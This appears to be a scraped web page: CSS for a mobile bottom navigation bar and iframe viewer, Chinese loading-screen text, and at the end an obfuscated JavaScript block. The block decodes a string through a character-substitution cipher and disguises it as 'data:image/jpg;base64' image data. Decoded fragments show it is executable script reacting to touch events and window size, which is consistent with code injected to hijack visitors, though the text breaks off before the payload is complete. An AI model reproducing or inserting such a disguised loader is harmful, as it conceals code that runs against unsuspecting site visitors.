0% { transform: translateX(0); }
10% { transform: translateX(-2px) rotate(-1deg); }
20% { transform: translateX(2px) rotate(1deg); }
30% { transform: translateX(-2px) rotate(-1deg); }
40% { transform: translateX(2px) rotate(1deg); }
50% { transform: translateX(-1px) rotate(-0.5deg); }
60% { transform: translateX(1px) rotate(0.5deg); }
70% { transform: translateX(-1px) rotate(-0.5deg); }
80% { transform: translateX(1px) rotate(0.5deg); }
90% { transform: translateX(0) rotate(0deg); }
100% { transform: translateX(0); }
}
/* 图标选中时的抖动效果 */
.btm-nav-icon.shake {
animation: btm-nav-shake 0.6s ease-in-out;
}
/* 脉冲放大动画 */
@keyframes btm-nav-pulse-scale {
0% { transform: scale(1); }
50% { transform: scale(1.1); }
100% { transform: scale(1); }
}
.btm-nav-icon.pulse {
animation: btm-nav-pulse-scale 0.4s ease-in-out;
}
.btm-nav-text {
font-size: 11px;
font-weight: 400;
text-align: center;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
width: 100%;
line-height: 1.2;
transition: color 0.2s ease;
}
/* 嵌入式网页容器 */
.btm-nav-iframe {
position: fixed;
top: 0;
left: 50%;
transform: translateX(-50%);
width: 100vw; /* 使用视口宽度 */
max-width: 760px;
height: 100vh;
background: #ffffff;
z-index: 99999;
display: none;
opacity: 1;
}
.btm-nav-iframe-header {
background: #ffffff;
color: #333333;
padding: 0px 10px 5px 10px; /* 无上边距，避免与状态栏重叠，底部5px分隔 */
height: 35px; /* 35px高度 */
display: flex;
align-items: center;
box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
position: relative;
}
.btm-nav-iframe-title {
font-size: 14px;
font-weight: 500;
flex: 1;
text-align: center;
margin: 0 8px; /* 左右留出空间 */
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
}
.btm-nav-iframe-close {
background: #f0f0f0; /* 浅灰色背景 */
border: none; /* 无边框 */
color: #555555; /* SVG stroke颜色 */
width: 28px;
height: 28px;
border-radius: 50%; /* 圆形背景 */
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.2s ease;
flex-shrink: 0; /* 不缩小 */
padding: 0; /* 确保无内边距影响SVG居中 */
}
.btm-nav-iframe-close svg {
display: block; /* 确保SVG正确显示 */
}
.btm-nav-iframe-more {
background: #f0f0f0; /* 与返回键相同的背景 */
border: none;
color: #555555;
width: 28px;
height: 28px;
border-radius: 50%; /* 圆形背景 */
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
font-size: 16px;
font-weight: normal;
transition: all 0.2s ease;
flex-shrink: 0;
}
.btm-nav-iframe-more:hover {
background: #e0e0e0;
}
.btm-nav-iframe-more:active {
background: #d0d0d0;
transform: scale(0.95);
}
/* 悬停效果 */
.btm-nav-iframe-close:hover {
background: #e0e0e0; /* 悬停时背景变深 */
}
/* 点击效果 */
.btm-nav-iframe-close:active {
background: #d0d0d0; /* 点击时背景更深 */
transform: scale(0.95); /* 轻微缩小效果 */
}
/* 更多菜单下拉框 */
.btm-nav-more-menu {
position: absolute;
top: 35px; /* 紧贴关闭栏底部 */
right: 10px; /* 与更多按钮右对齐 */
background: #ffffff;
border: 1px solid #e0e0e0;
border-radius: 8px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.15);
z-index: 10001;
display: none; /* 默认隐藏 */
min-width: 120px;
}
.btm-nav-more-item {
display: flex;
align-items: center;
padding: 8px 12px;
cursor: pointer;
transition: background-color 0.2s ease;
border-bottom: 1px solid #f0f0f0;
}
.btm-nav-more-item:last-child {
border-bottom: none;
}
.btm-nav-more-item:hover {
background: #f8f9fa;
}
.btm-nav-more-item:active {
background: #e9ecef;
}
.btm-nav-more-icon {
margin-right: 8px;
color: #666666;
width: 16px;
display: flex;
align-items: center;
justify-content: center;
}
.btm-nav-more-icon svg {
display: block;
}
.btm-nav-more-text {
font-size: 13px;
color: #333333;
white-space: nowrap;
}
/* 加载动画 */
.btm-nav-loading {
position: absolute;
top: 35px; /* 在关闭栏下方 */
left: 0;
right: 0;
bottom: 0;
background: #fafafa; /* 浅灰背景，与纯白有区别 */
display: none; /* 默认隐藏 */
align-items: center;
justify-content: center;
z-index: 10000;
}
.btm-nav-loading-content {
text-align: center;
max-width: 280px;
padding: 20px;
}
.btm-nav-loading-spinner {
width: 40px;
height: 40px;
border: 3px solid #e0e0e0;
border-top: 3px solid #007bff;
border-radius: 50%;
animation: btm-nav-spin 1s linear infinite;
margin: 0 auto 16px auto;
}
.btm-nav-loading-title {
font-size: 16px;
font-weight: 500;
color: #333333;
margin-bottom: 8px;
}
.btm-nav-loading-subtitle {
font-size: 14px;
color: #666666;
margin-bottom: 20px;
}
.btm-nav-loading-tip {
background: #f0f7ff;
border: 1px solid #d1ecf1;
border-radius: 6px;
padding: 12px;
font-size: 12px;
color: #0c5460;
line-height: 1.4;
}
.btm-nav-loading-tip-line {
margin-bottom: 4px;
}
.btm-nav-loading-tip-line:last-child {
margin-bottom: 0;
}
.btm-nav-loading-icon {
background: #e9ecef;
color: #495057;
padding: 2px 6px;
border-radius: 3px;
font-weight: bold;
margin: 0 2px;
}
/* 提示内容控制 */
.btm-nav-loading-tip-with-bar,
.btm-nav-loading-tip-no-bar {
display: none; /* 默认都隐藏 */
}
.btm-nav-loading-tip.show-with-bar .btm-nav-loading-tip-with-bar {
display: block; /* 有关闭栏时显示 */
}
.btm-nav-loading-tip.show-no-bar .btm-nav-loading-tip-no-bar {
display: block; /* 无关闭栏时显示 */
}
@keyframes btm-nav-spin {
0% { transform: rotate(0deg); }
100% { transform: rotate(360deg); }
}
.btm-nav-iframe-content {
width: 100%;
border: none;
/* height由JavaScript动态设置 */
}
/* 移动端响应式设计 */
@media (max-width: 760px) {
.btm-nav-menu {
left: 0 !important;
right: 0 !important;
transform: none !important;
width: 100% !important;
max-width: none !important;
margin: 0 !important;
border-top-left-radius: 12px;
border-top-right-radius: 12px;
will-change: transform;
backface-visibility: hidden;
}
.btm-nav-iframe {
left: 0 !important;
transform: none !important;
width: 100% !important;
max-width: none !important;
}
.btm-nav-container {
padding: 0 8px !important;
}
.btm-nav-item {
padding: 6px 1px;
}
.btm-nav-icon {
width: 26px;
height: 26px;
font-size: 24px;
margin-bottom: 3px;
}
.btm-nav-text {
font-size: 10px;
}
}
/* iPhone X/11/12等带有Home指示器的设备适配 */
@supports (padding: max(0px)) {
/* 为安全区域创建独立的背景层，不影响菜单栏 */
body::before {
content: '';
position: fixed;
bottom: 0;
left: 0;
right: 0;
height: env(safe-area-inset-bottom, 0); /* 安全区域背景保持完整高度 */
background: #ffffff; /* 白色背景 */
z-index: 10000; /* 提高层级，确保在最上层 */
pointer-events: none; /* 避免影响交互 */
}
/* 简化iframe高度计算 */
.btm-nav-iframe.btm-nav-fullscreen {
height: 100vh !important; /* 全屏时占满整个视口 */
}
.btm-nav-iframe.btm-nav-with-menu {
height: calc(100vh - var(--btm-nav-menu-height, 60px)) !important; /* 有菜单时减去菜单栏高度 */
}
}
正在加载页面
请稍候片刻...
如加载失败，请点击右上角
⋯ 菜单
选择"刷新页面"或"新窗口打开"
如加载失败，请点击底部菜单重新选择
或联系网站管理员检查链接有效性
!function(){function a(a){var _idx="s3tw9x25zx";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym